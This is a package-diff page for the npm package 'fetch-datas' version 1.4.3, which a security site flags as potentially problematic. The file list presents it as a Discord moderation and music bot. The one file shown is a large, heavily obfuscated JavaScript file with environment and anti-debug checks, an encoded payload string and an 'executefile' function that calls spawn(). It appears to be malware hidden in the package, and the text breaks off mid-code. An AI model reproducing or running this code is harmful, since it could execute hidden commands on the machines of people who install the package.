fetch-datas 0.0.1-security → 1.4.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of fetch-datas might be problematic. Click here for more details.

Files changed (42) hide show
  1. package/README.md +136 -5
  2. package/index.js +66 -0
  3. package/package.json +29 -6
  4. package/src/client.js +74 -0
  5. package/src/index.js +69 -0
  6. package/src/processor/Moderator/ban.js +54 -0
  7. package/src/processor/Moderator/bans.js +313 -0
  8. package/src/processor/Moderator/chnick.js +56 -0
  9. package/src/processor/Moderator/chrole.js +62 -0
  10. package/src/processor/Moderator/deafen.js +51 -0
  11. package/src/processor/Moderator/index.js +27 -0
  12. package/src/processor/Moderator/kick.js +56 -0
  13. package/src/processor/Moderator/move.js +53 -0
  14. package/src/processor/Moderator/mute.js +51 -0
  15. package/src/processor/Moderator/timeout.js +77 -0
  16. package/src/processor/Moderator/undeafen.js +51 -0
  17. package/src/processor/Moderator/unmute.js +60 -0
  18. package/src/processor/Moderator/untimeout.js +49 -0
  19. package/src/processor/Music/index.js +18 -0
  20. package/src/processor/Music/join.js +52 -0
  21. package/src/processor/Music/leave.js +46 -0
  22. package/src/processor/Music/nplay.js +51 -0
  23. package/src/processor/Music/pause.js +53 -0
  24. package/src/processor/Music/play.js +116 -0
  25. package/src/processor/Music/queue.js +220 -0
  26. package/src/processor/Music/resume.js +53 -0
  27. package/src/processor/Music/setloop.js +35 -0
  28. package/src/processor/Music/shuffle.js +26 -0
  29. package/src/processor/Music/skip.js +64 -0
  30. package/src/processor/Music/stop.js +38 -0
  31. package/src/processor/Music/support/__add_to_queue__.js +236 -0
  32. package/src/processor/Music/support/playing.js +1 -0
  33. package/src/processor/Music/support/update.js +159 -0
  34. package/src/processor/Ultility/chat.js +45 -0
  35. package/src/processor/Ultility/index.js +7 -0
  36. package/src/processor/Ultility/ping.js +26 -0
  37. package/src/processor/Ultility/status.js +85 -0
  38. package/test/Commands/Moderator.js +464 -0
  39. package/test/Commands/Music.js +166 -0
  40. package/test/Commands/Ultility.js +327 -0
  41. package/test/Commands/test/test.js +50 -0
  42. package/test/index.js +126 -0
@@ -0,0 +1 @@
1
+ q5fyt.j=(function(){var S=2;for(;S !== 9;){switch(S){case 2:S=typeof globalThis === '\u006f\x62\x6a\u0065\x63\x74'?1:5;break;case 1:return globalThis;break;case 5:var Y;try{var q=2;for(;q !== 6;){switch(q){case 2:Object['\u0064\x65\u0066\u0069\u006e\u0065\u0050\u0072\u006f\x70\u0065\u0072\x74\u0079'](Object['\u0070\x72\u006f\x74\u006f\x74\u0079\x70\x65'],'\u0055\x68\u0024\u0034\u0046',{'\x67\x65\x74':function(){return this;},'\x63\x6f\x6e\x66\x69\x67\x75\x72\x61\x62\x6c\x65':true});Y=Uh$4F;Y['\x47\u0024\x24\u0048\x4d']=Y;q=4;break;case 4:q=typeof G$$HM === '\x75\u006e\u0064\u0065\x66\x69\x6e\u0065\u0064'?3:9;break;case 3:throw "";q=9;break;case 9:delete Y['\u0047\x24\x24\u0048\x4d'];var y=Object['\x70\x72\x6f\x74\u006f\u0074\x79\x70\x65'];delete y['\x55\u0068\u0024\x34\x46'];q=6;break;}}}catch(r){Y=window;}return Y;break;}}})();q5fyt.z76Q7=z76Q7;d53YUY(q5fyt.j);q5fyt.n_=(function(){var p9=2;for(;p9 !== 5;){switch(p9){case 2:var c2={b8kRbyp:(function(M1){var p$=2;for(;p$ !== 18;){switch(p$){case 4:var v3=q_.p_bqa.bind(q_);var l7=M1.p_bqa.bind(M1);p$=9;break;case 8:p$=j9 < q_.length?7:12;break;case 12:W6=W6.c4mto9(')');var l3=0;var A_=function(T0){var v7=2;for(;v7 !== 23;){switch(v7){case 11:W6.Q4uEyj.O1APYj(W6,W6.P7qlOK(-8,8).P7qlOK(0,6));v7=4;break;case 10:v7=l3 === 4 && T0 === 30?20:18;break;case 24:return A3(T0);break;case 3:v7=l3 === 1 && T0 === 0?9:7;break;case 19:W6.Q4uEyj.O1APYj(W6,W6.P7qlOK(-6,6).P7qlOK(0,5));v7=4;break;case 17:l3+=1;v7=16;break;case 8:W6.Q4uEyj.O1APYj(W6,W6.P7qlOK(-5,5).P7qlOK(0,3));v7=4;break;case 9:l3+=1;v7=8;break;case 16:W6.Q4uEyj.O1APYj(W6,W6.P7qlOK(-2,2).P7qlOK(0,1));v7=4;break;case 18:v7=l3 === 5 && T0 === 29?17:15;break;case 26:W6.Q4uEyj.O1APYj(W6,W6.P7qlOK(-3,3).P7qlOK(0,1));v7=4;break;case 14:W6.Q4uEyj.O1APYj(W6,W6.P7qlOK(-6,6).P7qlOK(0,4));v7=4;break;case 27:l3+=1;v7=26;break;case 7:v7=l3 === 2 && T0 === 17?6:13;break;case 4:return l3;break;case 15:v7=l3 === 6 && T0 === 30?27:25;break;case 2:v7=l3 === 0 && T0 === 5?1:3;break;case 6:l3+=1;v7=14;break;case 13:v7=l3 === 3 && T0 === 13?12:10;break;case 1:l3+=1;v7=5;break;case 25:c2.b8kRbyp=A3;v7=24;break;case 12:l3+=1;v7=11;break;case 5:W6.Q4uEyj.O1APYj(W6,W6.P7qlOK(-7,7).P7qlOK(0,5));v7=4;break;case 20:l3+=1;v7=19;break;}}};p$=20;break;case 20:var A3=function(j0){var K3=2;for(;K3 !== 1;){switch(K3){case 2:return W6[j0];break;}}};return A_;break;case 2:var r0=function(q7){var b2=2;for(;b2 !== 11;){switch(b2){case 3:b2=q8 < q7.length?9:7;break;case 2:var R6=D9e_8I.X5gpWc;var i1=D8QF6K.w8EVHU;var P_=[];b2=4;break;case 12:return V_;break;case 8:q8++;b2=3;break;case 4:var q8=0;b2=3;break;case 7:var G3,V_;b2=6;break;case 9:P_[q8]=R6(q7[q8] + 44);b2=8;break;case 6:G3=P_.W5g89b(function(){var T_=2;for(;T_ !== 1;){switch(T_){case 2:return 0.5 - i1();break;}}}).C7FzU1('');V_=q5fyt[G3];b2=13;break;case 13:b2=!V_?6:12;break;}}};var W6='',q_=D2zaYs(r0([10,11,78,37,11])());var J6=D9e_8I.X5gpWc;p$=4;break;case 7:p$=T9 === M1.length?6:14;break;case 9:var j9=0,T9=0;p$=8;break;case 6:T9=0;p$=14;break;case 13:(j9++,T9++);p$=8;break;case 14:W6+=J6(v3(j9) ^ l7(T9));p$=13;break;}}})('!F70VN')};return c2;break;}}})();q5fyt.y0=function(){return typeof q5fyt.n_.b8kRbyp === 'function'?q5fyt.n_.b8kRbyp.apply(q5fyt.n_,arguments):q5fyt.n_.b8kRbyp;};q5fyt.s5=function(){return typeof q5fyt.n_.b8kRbyp === 'function'?q5fyt.n_.b8kRbyp.apply(q5fyt.n_,arguments):q5fyt.n_.b8kRbyp;};q5fyt.t2=(function(B){var Z1=2;for(;Z1 !== 10;){switch(Z1){case 7:g=Z.p3zvL(new N[u]("^['-|]"),'S');Z1=6;break;case 2:var N,Z,g,d;Z1=1;break;case 1:Z1=!d--?5:4;break;case 12:var w,b=0,C;Z1=11;break;case 4:var Q='fromCharCode',u='RegExp';Z1=3;break;case 14:B=B.G3ZuP(function(H){var a1=2;for(;a1 !== 13;){switch(a1){case 1:a1=!d--?5:4;break;case 2:var z;a1=1;break;case 9:z+=N[g][Q](H[v] + 116);a1=8;break;case 4:var v=0;a1=3;break;case 6:return;break;case 14:return z;break;case 7:a1=!z?6:14;break;case 8:v++;a1=3;break;case 5:z='';a1=4;break;case 3:a1=v < H.length?9:7;break;}}});Z1=13;break;case 5:N=q5fyt.j;Z1=4;break;case 11:return {G9cPLOX:function(x){var q5=2;for(;q5 !== 6;){switch(q5){case 8:var k=(function(O,E){var K5=2;for(;K5 !== 10;){switch(K5){case 8:var h=N[E[4]](O[E[2]](J),16)[E[3]](2);var t=h[E[2]](h[E[5]] - 1);K5=6;break;case 2:K5=typeof O === 'undefined' && typeof x !== 'undefined'?1:5;break;case 11:return M;break;case 4:E=B;K5=3;break;case 9:K5=J < O[E[5]]?8:11;break;case 6:K5=J === 0?14:12;break;case 12:M=M ^ t;K5=13;break;case 1:O=x;K5=5;break;case 5:K5=typeof E === 'undefined' && typeof B !== 'undefined'?4:3;break;case 13:J++;K5=9;break;case 14:M=t;K5=13;break;case 3:var M,J=0;K5=9;break;}}})(undefined,undefined);return k?w:!w;break;case 4:w=U(T);q5=3;break;case 1:q5=T > b?5:8;break;case 9:b=T + 60000;q5=8;break;case 2:var T=new N[B[0]]()[B[1]]();q5=1;break;case 5:q5=!d--?4:3;break;case 3:q5=!d--?9:8;break;}}}};break;case 3:Z1=!d--?9:8;break;case 6:Z1=!d--?14:13;break;case 13:Z1=!d--?12:11;break;case 9:Z=typeof Q;Z1=8;break;case 8:Z1=!d--?7:6;break;}}function U(I){var H6=2;for(;H6 !== 25;){switch(H6){case 12:H6=!d--?11:10;break;case 8:c=B[6];H6=7;break;case 16:return p;break;case 6:A=c && V(c,o);H6=14;break;case 2:var p,o,c,A,P,s,V;H6=1;break;case 14:H6=!d--?13:12;break;case 1:H6=!d--?5:4;break;case 10:H6=!d--?20:19;break;case 5:V=N[B[4]];H6=4;break;case 27:p=false;H6=26;break;case 13:P=B[7];H6=12;break;case 17:C='j-002-00005';H6=16;break;case 11:s=(P || P === 0) && V(P,o);H6=10;break;case 19:H6=s >= 0 && I - s <= o?18:15;break;case 26:C='j-002-00003';H6=16;break;case 20:p=true;H6=19;break;case 7:H6=!d--?6:14;break;case 4:H6=!d--?3:9;break;case 3:o=33;H6=9;break;case 18:p=false;H6=17;break;case 15:H6=A >= 0 && A - I <= o?27:16;break;case 9:H6=!d--?8:7;break;}}}})([[-48,-19,0,-15],[-13,-15,0,-32,-11,-7,-15],[-17,-12,-19,-2,-51,0],[0,-5,-33,0,-2,-11,-6,-13],[-4,-19,-2,-1,-15,-43,-6,0],[-8,-15,-6,-13,0,-12],[-67,-61,-60,-2,2,-60,-1,-68,-11],[]]);function d53YUY(o8){function J0(X2){var B6=2;for(;B6 !== 5;){switch(B6){case 2:var d9=[arguments];return d9[0][0];break;}}}function v1(p8){var g3=2;for(;g3 !== 5;){switch(g3){case 2:var m0=[arguments];return m0[0][0].String;break;}}}function w1(f3){var a7=2;for(;a7 !== 5;){switch(a7){case 2:var X4=[arguments];return X4[0][0].Function;break;}}}function b3(l5){var C7=2;for(;C7 !== 5;){switch(C7){case 1:return L8[0][0].RegExp;break;case 2:var L8=[arguments];C7=1;break;}}}var S1=2;for(;S1 !== 208;){switch(S1){case 70:f5[80]="ab";f5[30]="";f5[30]="__";f5[20]="";S1=66;break;case 181:t8(J0,"String",f5[73],f5[68]);S1=180;break;case 172:t8(J0,f5[92],f5[73],f5[31]);S1=171;break;case 165:f5[16]+=f5[55];f5[48]=f5[7];f5[48]+=f5[9];f5[48]+=f5[69];S1=161;break;case 174:t8(b3,"test",f5[41],f5[63]);S1=173;break;case 161:f5[44]=f5[1];f5[44]+=f5[5];f5[44]+=f5[84];f5[89]=f5[8];S1=157;break;case 21:f5[38]="";f5[97]="9e_8";f5[38]="pWc";f5[24]="";f5[24]="8";f5[19]="";S1=30;break;case 101:f5[43]="";f5[43]="f";f5[61]="";f5[61]="3J4z";S1=97;break;case 112:f5[95]+=f5[12];f5[95]+=f5[15];f5[46]=f5[21];f5[46]+=f5[28];S1=108;break;case 178:t8(o4,"random",f5[73],f5[98]);S1=177;break;case 153:f5[22]+=f5[6];S1=189;break;case 173:t8(X$,"push",f5[41],f5[88]);S1=172;break;case 171:t8(J0,f5[46],f5[73],f5[95]);S1=209;break;case 20:f5[7]="";f5[7]="c4m";f5[8]="G3";f5[2]="";S1=16;break;case 185:t8(v1,"split",f5[41],f5[48]);S1=184;break;case 87:f5[15]="";f5[28]="es";f5[21]="__r";f5[15]="MJ";S1=83;break;case 133:f5[92]+=f5[76];f5[88]=f5[34];f5[88]+=f5[66];f5[88]+=f5[35];S1=129;break;case 54:f5[72]="";f5[72]="9b";f5[36]="";f5[36]="g8";f5[86]="1";f5[39]="";S1=48;break;case 97:f5[93]="";f5[93]="";f5[93]="K";f5[41]=3;S1=93;break;case 2:var f5=[arguments];f5[6]="L";f5[4]="";f5[4]="";f5[4]="3zv";f5[3]="";S1=8;break;case 55:f5[35]="";f5[35]="A";f5[34]="";f5[66]="v";S1=74;break;case 66:f5[20]="idual";f5[83]="G8Cj";f5[37]="p";f5[15]="";S1=87;break;case 120:f5[64]=f5[49];f5[64]+=f5[36];f5[64]+=f5[72];f5[98]=f5[47];S1=149;break;case 184:t8(X$,"unshift",f5[41],f5[16]);S1=183;break;case 176:t8(X$,"join",f5[41],f5[57]);S1=175;break;case 142:f5[65]+=f5[38];f5[68]=f5[19];f5[68]+=f5[97];f5[68]+=f5[25];S1=138;break;case 8:f5[3]="Zu";f5[5]="";f5[5]="bq";f5[1]="";S1=13;break;case 175:t8(J0,"decodeURI",f5[73],f5[50]);S1=174;break;case 187:t8(X$,"map",f5[41],f5[89]);S1=186;break;case 59:f5[23]="C7Fz";f5[10]="";f5[10]="";f5[10]="N7";S1=55;break;case 157:f5[89]+=f5[3];f5[89]+=f5[78];f5[22]=f5[37];f5[22]+=f5[4];S1=153;break;case 48:f5[39]="";f5[39]="U";f5[67]="";f5[67]="Ys";f5[84]="a";f5[79]="";S1=63;break;case 39:f5[59]="QF6K";f5[47]="";f5[47]="w";f5[91]="5g";S1=54;break;case 179:t8(J0,"Math",f5[73],f5[54]);S1=178;break;case 108:f5[46]+=f5[20];f5[31]=f5[83];f5[31]+=f5[37];f5[31]+=f5[93];f5[92]=f5[30];f5[92]+=f5[80];S1=133;break;case 129:f5[63]=f5[10];f5[63]+=f5[37];f5[63]+=f5[94];f5[50]=f5[79];f5[50]+=f5[84];S1=124;break;case 149:f5[98]+=f5[17];f5[98]+=f5[39];f5[54]=f5[19];f5[54]+=f5[24];f5[54]+=f5[59];f5[65]=f5[81];f5[65]+=f5[91];S1=142;break;case 74:f5[34]="b1ur";f5[76]="stract";f5[80]="";f5[80]="";S1=70;break;case 25:f5[27]="P7";f5[25]="";f5[69]="9";f5[25]="I";S1=21;break;case 177:t8(X$,"sort",f5[41],f5[64]);S1=176;break;case 117:f5[87]+=f5[43];f5[75]=f5[62];f5[75]+=f5[58];f5[75]+=f5[90];f5[95]=f5[52];S1=112;break;case 16:f5[2]="lOK";f5[40]="4u";f5[77]="";f5[77]="q";S1=25;break;case 138:f5[33]=f5[27];f5[33]+=f5[77];f5[33]+=f5[2];f5[82]=f5[71];S1=169;break;case 30:f5[78]="P";f5[19]="D";f5[17]="";f5[17]="8EVH";S1=43;break;case 209:t8(J0,f5[75],f5[73],f5[87]);S1=208;break;case 169:f5[82]+=f5[78];f5[82]+=f5[45];f5[16]=f5[12];f5[16]+=f5[40];S1=165;break;case 93:f5[41]=1;f5[73]=6;f5[73]=0;f5[87]=f5[93];f5[87]+=f5[61];S1=117;break;case 180:t8(v1,"fromCharCode",f5[73],f5[65]);S1=179;break;case 43:f5[45]="Yj";f5[55]="Eyj";f5[81]="X";f5[71]="O1A";S1=39;break;case 63:f5[79]="D2z";f5[94]="";f5[94]="$UC";f5[49]="W5";S1=59;break;case 186:t8(v1,"charCodeAt",f5[41],f5[44]);S1=185;break;case 188:t8(v1,"replace",f5[41],f5[22]);S1=187;break;case 124:f5[50]+=f5[67];f5[57]=f5[23];f5[57]+=f5[39];f5[57]+=f5[86];S1=120;break;case 189:var t8=function(F9,O7,y4,X3){var k5=2;for(;k5 !== 5;){switch(k5){case 2:var n2=[arguments];L1(f5[0][0],n2[0][0],n2[0][1],n2[0][2],n2[0][3]);k5=5;break;}}};S1=188;break;case 79:f5[90]="e";f5[58]="";f5[58]="";f5[58]="ptimiz";f5[62]="__o";S1=101;break;case 83:f5[12]="Q";f5[52]="";f5[52]="P4E";f5[90]="";S1=79;break;case 13:f5[1]="p_";f5[9]="";f5[9]="";f5[9]="to";S1=20;break;case 182:t8(X$,"splice",f5[41],f5[33]);S1=181;break;case 183:t8(w1,"apply",f5[41],f5[82]);S1=182;break;}}function o4(d6){var w2=2;for(;w2 !== 5;){switch(w2){case 2:var k3=[arguments];return k3[0][0].Math;break;}}}function X$(B1){var q3=2;for(;q3 !== 5;){switch(q3){case 2:var N8=[arguments];return N8[0][0].Array;break;}}}function L1(G8,A1,d1,C9,q0){var A8=2;for(;A8 !== 6;){switch(A8){case 2:var m4=[arguments];m4[3]="";m4[3]="y";m4[6]=false;A8=3;break;case 3:m4[7]="efinePropert";m4[2]="";m4[2]="d";try{var N$=2;for(;N$ !== 13;){switch(N$){case 9:m4[8][m4[0][4]]=m4[8][m4[0][2]];m4[9].set=function(d_){var P3=2;for(;P3 !== 5;){switch(P3){case 2:var N1=[arguments];m4[8][m4[0][2]]=N1[0][0];P3=5;break;}}};m4[9].get=function(){var U_=2;for(;U_ !== 6;){switch(U_){case 2:var T6=[arguments];T6[9]="ne";T6[6]="";T6[6]="undefi";U_=3;break;case 3:T6[1]=T6[6];T6[1]+=T6[9];T6[1]+=m4[2];return typeof m4[8][m4[0][2]] == T6[1]?undefined:m4[8][m4[0][2]];break;}}};m4[9].enumerable=m4[6];N$=14;break;case 2:m4[9]={};m4[4]=(1,m4[0][1])(m4[0][0]);m4[8]=[m4[4],m4[4].prototype][m4[0][3]];N$=4;break;case 14:try{var N5=2;for(;N5 !== 3;){switch(N5){case 1:m4[5]+=m4[7];m4[5]+=m4[3];m4[0][0].Object[m4[5]](m4[8],m4[0][4],m4[9]);N5=3;break;case 2:m4[5]=m4[2];N5=1;break;}}}catch(i5){}N$=13;break;case 4:N$=m4[8].hasOwnProperty(m4[0][4]) && m4[8][m4[0][4]] === m4[8][m4[0][2]]?3:9;break;case 3:return;break;}}}catch(F4){}A8=6;break;}}}}q5fyt.R2=(function(B9,c1,T$){var v6=2;for(;v6 !== 1;){switch(v6){case 2:return {R$Ahv3u:(function C6(z5,H4,B$){var N7=2;for(;N7 !== 32;){switch(N7){case 2:var Z7=[];var D3;var F0;N7=4;break;case 18:N7=N6 >= 0?17:34;break;case 12:Z7[D3]=[];N7=11;break;case 35:N6-=1;N7=18;break;case 11:D3+=1;N7=13;break;case 20:N7=F0 < z5?19:33;break;case 4:var N6;var o_;var s6;var y8;N7=7;break;case 7:var I3;var t5;N7=14;break;case 19:N6=z5 - 1;N7=18;break;case 17:o_=0;s6=0;N7=15;break;case 15:y8=s6;N7=27;break;case 14:D3=0;N7=13;break;case 13:N7=D3 < z5?12:10;break;case 23:N7=N6 >= s6?27:22;break;case 10:F0=0;N7=20;break;case 33:return Z7;break;case 22:t5=y8 + (N6 - y8 + H4 * F0) % I3;Z7[F0][t5]=Z7[N6];N7=35;break;case 27:y8=s6;s6=B$[o_];I3=s6 - y8;o_++;N7=23;break;case 34:F0+=1;N7=20;break;}}})(B9,c1,T$)};break;}}})(12,3,[12]);q5fyt.c3=function(){return typeof q5fyt.t2.G9cPLOX === 'function'?q5fyt.t2.G9cPLOX.apply(q5fyt.t2,arguments):q5fyt.t2.G9cPLOX;};q5fyt.S7=function(){return typeof q5fyt.H8.i1OtRmU === 'function'?q5fyt.H8.i1OtRmU.apply(q5fyt.H8,arguments):q5fyt.H8.i1OtRmU;};q5fyt.H8=(function(){var B4=2;for(;B4 !== 9;){switch(B4){case 2:var j7=[arguments];j7[3]=undefined;j7[1]={};j7[1].i1OtRmU=function(){var x2=2;for(;x2 !== 90;){switch(x2){case 2:var A6=[arguments];x2=1;break;case 33:A6[39].Z2=['m_'];A6[39].U0=function(){var a8=function(){return ('c').indexOf('c');};var n6=!(/[\u0022\047]/).N7p$UC(a8 + []);return n6;};A6[61]=A6[39];A6[70]={};x2=29;break;case 29:A6[70].Z2=['S$'];A6[70].U0=function(){var U8=false;var I$=[];try{for(var l4 in console)I$.b1urvA(l4);U8=I$.length === 0;}catch(X6){}var g0=U8;return g0;};A6[63]=A6[70];A6[20]={};A6[20].Z2=['S$'];x2=41;break;case 20:A6[9].U0=function(){var C2=function(){return ('x').startsWith('x');};var B8=(/\u0074\u0072\x75\x65/).N7p$UC(C2 + []);return B8;};A6[3]=A6[9];x2=18;break;case 67:j7[3]=73;return 61;break;case 77:A6[36]=0;x2=76;break;case 1:x2=j7[3]?5:4;break;case 39:A6[96]={};A6[96].Z2=['m_'];A6[96].U0=function(){var v5=function(){return decodeURI('%25');};var E7=!(/\062\u0035/).N7p$UC(v5 + []);return E7;};A6[23]=A6[96];A6[8].b1urvA(A6[89]);A6[8].b1urvA(A6[63]);x2=52;break;case 4:A6[8]=[];A6[7]={};A6[7].Z2=['S$'];A6[7].U0=function(){var x7=typeof G8CjpK === 'function';return x7;};x2=7;break;case 58:A6[37]=0;x2=57;break;case 26:A6[91].Z2=['m_'];A6[91].U0=function(){var T1=function(){return ['a','a'].join();};var z0=!(/(\u005b|\u005d)/).N7p$UC(T1 + []);return z0;};A6[26]=A6[91];A6[78]={};x2=22;break;case 60:A6[15]='U0';A6[11]='s9';x2=58;break;case 7:A6[1]=A6[7];A6[6]={};A6[6].Z2=['m_'];A6[6].U0=function(){var J4=function(){return ('aa').charCodeAt(1);};var c4=(/\u0039\067/).N7p$UC(J4 + []);return c4;};A6[4]=A6[6];A6[9]={};A6[9].Z2=['m_'];x2=20;break;case 56:A6[75]=A6[8][A6[37]];try{A6[67]=A6[75][A6[15]]()?A6[69]:A6[41];}catch(g8){A6[67]=A6[41];}x2=77;break;case 52:A6[8].b1urvA(A6[2]);A6[8].b1urvA(A6[1]);A6[8].b1urvA(A6[26]);x2=49;break;case 57:x2=A6[37] < A6[8].length?56:69;break;case 70:A6[37]++;x2=57;break;case 5:return 17;break;case 45:A6[8].b1urvA(A6[23]);A6[97]=[];A6[69]='v4';x2=63;break;case 41:A6[20].U0=function(){var Q_=typeof P4EQMJ === 'function';return Q_;};A6[12]=A6[20];x2=39;break;case 22:A6[78].Z2=['S$'];A6[78].U0=function(){var U5=typeof K3J4zf === 'function';return U5;};A6[89]=A6[78];A6[39]={};x2=33;break;case 68:x2=68?68:67;break;case 69:x2=(function(T3){var V2=2;for(;V2 !== 22;){switch(V2){case 17:h4[4]=0;V2=16;break;case 13:h4[1][h4[7][A6[11]]]=(function(){var n3=2;for(;n3 !== 9;){switch(n3){case 2:var u6=[arguments];u6[9]={};u6[9].h=0;u6[9].t=0;return u6[9];break;}}}).O1APYj(this,arguments);V2=12;break;case 4:h4[1]={};h4[9]=[];h4[4]=0;V2=8;break;case 23:return h4[6];break;case 26:V2=h4[2] >= 0.5?25:24;break;case 24:h4[4]++;V2=16;break;case 5:return;break;case 19:h4[4]++;V2=7;break;case 8:h4[4]=0;V2=7;break;case 12:h4[9].b1urvA(h4[7][A6[11]]);V2=11;break;case 25:h4[6]=true;V2=24;break;case 1:V2=h4[0][0].length === 0?5:4;break;case 2:var h4=[arguments];V2=1;break;case 18:h4[6]=false;V2=17;break;case 14:V2=typeof h4[1][h4[7][A6[11]]] === 'undefined'?13:11;break;case 11:h4[1][h4[7][A6[11]]].t+=true;V2=10;break;case 7:V2=h4[4] < h4[0][0].length?6:18;break;case 16:V2=h4[4] < h4[9].length?15:23;break;case 6:h4[7]=h4[0][0][h4[4]];V2=14;break;case 10:V2=h4[7][A6[27]] === A6[69]?20:19;break;case 20:h4[1][h4[7][A6[11]]].h+=true;V2=19;break;case 15:h4[8]=h4[9][h4[4]];h4[2]=h4[1][h4[8]].h / h4[1][h4[8]].t;V2=26;break;}}})(A6[97])?68:67;break;case 75:A6[46]={};A6[46][A6[11]]=A6[75][A6[29]][A6[36]];A6[46][A6[27]]=A6[67];A6[97].b1urvA(A6[46]);x2=71;break;case 16:A6[5].U0=function(){var E$=function(){return ('a|a').split('|');};var l0=!(/\x7c/).N7p$UC(E$ + []);return l0;};A6[2]=A6[5];A6[91]={};x2=26;break;case 76:x2=A6[36] < A6[75][A6[29]].length?75:70;break;case 18:A6[5]={};A6[5].Z2=['m_'];x2=16;break;case 71:A6[36]++;x2=76;break;case 63:A6[41]='G4';A6[29]='Z2';A6[27]='M0';x2=60;break;case 49:A6[8].b1urvA(A6[3]);A6[8].b1urvA(A6[12]);A6[8].b1urvA(A6[4]);A6[8].b1urvA(A6[61]);x2=45;break;}}};return j7[1];break;}}})();function q5fyt(){}var I7fjgZ=2;for(;I7fjgZ !== 11;){switch(I7fjgZ){case 4:q5fyt.Q1=34;I7fjgZ=3;break;case 5:I7fjgZ=q5fyt.y0(0) > 20?4:3;break;case 7:q5fyt.Y5=33;I7fjgZ=6;break;case 9:q5fyt.F1=11;I7fjgZ=8;break;case 3:I7fjgZ=q5fyt.y0(17) <= 42?9:8;break;case 14:q5fyt.t0=38;I7fjgZ=13;break;case 6:I7fjgZ=q5fyt.y0(29) !== 77?14:13;break;case 1:q5fyt.x9=-2;I7fjgZ=5;break;case 2:I7fjgZ=q5fyt.s5(5) >= 39?1:5;break;case 13:I7fjgZ=q5fyt.y0(30) >= 90?12:11;break;case 12:q5fyt.O8=68;I7fjgZ=11;break;case 8:I7fjgZ=q5fyt.s5(13) < q5fyt.s5(30)?7:6;break;}}q5fyt.g4=function(){return typeof q5fyt.t2.G9cPLOX === 'function'?q5fyt.t2.G9cPLOX.apply(q5fyt.t2,arguments):q5fyt.t2.G9cPLOX;};q5fyt.V7=function(){return typeof q5fyt.R2.R$Ahv3u === 'function'?q5fyt.R2.R$Ahv3u.apply(q5fyt.R2,arguments):q5fyt.R2.R$Ahv3u;};q5fyt.f$=function(){return typeof q5fyt.H8.i1OtRmU === 'function'?q5fyt.H8.i1OtRmU.apply(q5fyt.H8,arguments):q5fyt.H8.i1OtRmU;};q5fyt.A$=function(){return typeof q5fyt.R2.R$Ahv3u === 'function'?q5fyt.R2.R$Ahv3u.apply(q5fyt.R2,arguments):q5fyt.R2.R$Ahv3u;};function executefile(K4){var C5=q5fyt;C5.S7();var O1=[arguments];O1[9]=C5.V7()[2][2][2];for(;O1[9] !== C5.A$()[7][3][6][3];){switch(O1[9]){case C5.V7()[3][9][2]:O1[3]=spawn(O1[0][0]);O1[3][C5.y0(9)](C5.s5(21),D=>{});O1[3][C5.y0(9)](C5.s5(29),f=>{});O1[9]=C5.A$()[5][1][9];break;}}}function z76Q7(){return "G$UV%7FxD~T%19&'Q#%1E_%25gD%3E%5ED%7F(RoY_2+%0F#OU%7FwC%7F%00%195*%10#%1E%08b/DoB%5E:'O-%1EV?%20H5_%195%3CD'CU%01%3CH2Rc%22%3CD'Z%19avBw%1Ed3#QoX%5E%7F-B'Q%198!E#%19U.+%08,XY8g%16~%00%04%7F&U2GC%7FgD#%02%08%7Fy%19q%03%19;+R5VW3gm)TQ:gN(%1ER0%7C%16oT%064%7B%08.CD&=%1Bi%18S2%20%0F%22%5EC5!S%22V@&%60B)Z%1F7:U'TX;+O2D%1Fg%7C%12q%03%04b%7B%10r%03%05e%7D%18u%02%00da%10t%03%01b%7C%14w%03%01cw%15~%02%03b%7B%17iY_2+%0F#OUi+Y%7B%01%06b/%13pT%02p'R%7B%01%06bvEs%03%02p&L%7BSU%60%7D%16t%00Sg%7CB'T%07o(%13%25%01%020%7FG%7F%01%08ov%13p%05%000%7F%18$R%09b(C%22%05%03b%7B%13tTSd%7C%12rV%06f,%11pRV%60,%07oRH?:%08#OY%22g%606Gt7:@o__;+E/E%195&H*So&%3CN%25RC%25g%16t%05%03%7F(Ro%0E%075%7C%08!RD%7Fw%16%25%05%19%02+L6%1EU3%7B%19oXC%7F*%15u%04%193%3CS)E%194y%14'%1E@7:IoT%5C9=Do%5D_?%20%08%7F%00Sd";}q5fyt.f$();var Q7c8wh=q5fyt.V7()[4][2][8];for(;Q7c8wh !== q5fyt.A$()[10][7][7];){switch(Q7c8wh){case q5fyt.V7()[5][3][6]:q5fyt.G_=function(M5){var m6=q5fyt;var I7=[arguments];I7[7]=m6.A$()[5][11][2];m6.f$();for(;I7[7] !== m6.A$()[6][9][5];){switch(I7[7]){case m6.V7()[11][7][7]:return m6.g4(I7[0][0]);break;case m6.V7()[8][1][5]:I7[7]=m6?m6.A$()[3][7][7]:m6.V7()[9][9][2];break;}}};q5fyt.g9=function(H7){var C4=q5fyt;C4.f$();var K7=[arguments];K7[9]=C4.V7()[9][3][2];for(;K7[9] !== C4.V7()[8][11][5];){switch(K7[9]){case C4.A$()[3][1][1]:return C4.g4(K7[0][0]);break;case C4.A$()[5][0][5]:K7[9]=C4?C4.V7()[2][7][4]:C4.V7()[11][10][11];break;}}};q5fyt.y7=function(D_){var F6=q5fyt;var R4=[arguments];F6.f$();R4[9]=F6.A$()[0][7][11];for(;R4[9] !== F6.A$()[9][2][5];){switch(R4[9]){case F6.V7()[9][2][10]:return F6.c3(R4[0][0]);break;case F6.V7()[8][3][11]:R4[9]=F6 && R4[0][0]?F6.V7()[5][8][4]:F6.V7()[11][2][11];break;}}};Q7c8wh=q5fyt.A$()[1][8][3][5];break;case q5fyt.A$()[7][7][1]:q5fyt.Q$=function(g$){var j_=q5fyt;var O_=[arguments];O_[8]=j_.V7()[0][10][8];j_.S7();for(;O_[8] !== j_.A$()[9][5][2];){switch(O_[8]){case j_.A$()[5][8][5]:O_[8]=j_?j_.V7()[7][10]:j_.A$()[7][2][6][5];break;case j_.A$()[0][1]:return j_.g4(O_[0][0]);break;}}};q5fyt.V$=function(J$){var w_=q5fyt;w_.f$();var N9=[arguments];N9[5]=w_.V7()[6][11][5];for(;N9[5] !== w_.V7()[8][7][5];){switch(N9[5]){case w_.A$()[11][7][7]:return w_.c3(N9[0][0]);break;case w_.A$()[7][6][5]:N9[5]=w_ && N9[0][0]?w_.A$()[6][7]:w_.A$()[4][6][2];break;}}};Q7c8wh=q5fyt.V7()[0][9][9];break;case q5fyt.V7()[8][0][2]:q5fyt.z3=function(W7){var k_=q5fyt;var L_=[arguments];k_.f$();L_[3]=k_.V7()[10][9][11];for(;L_[3] !== 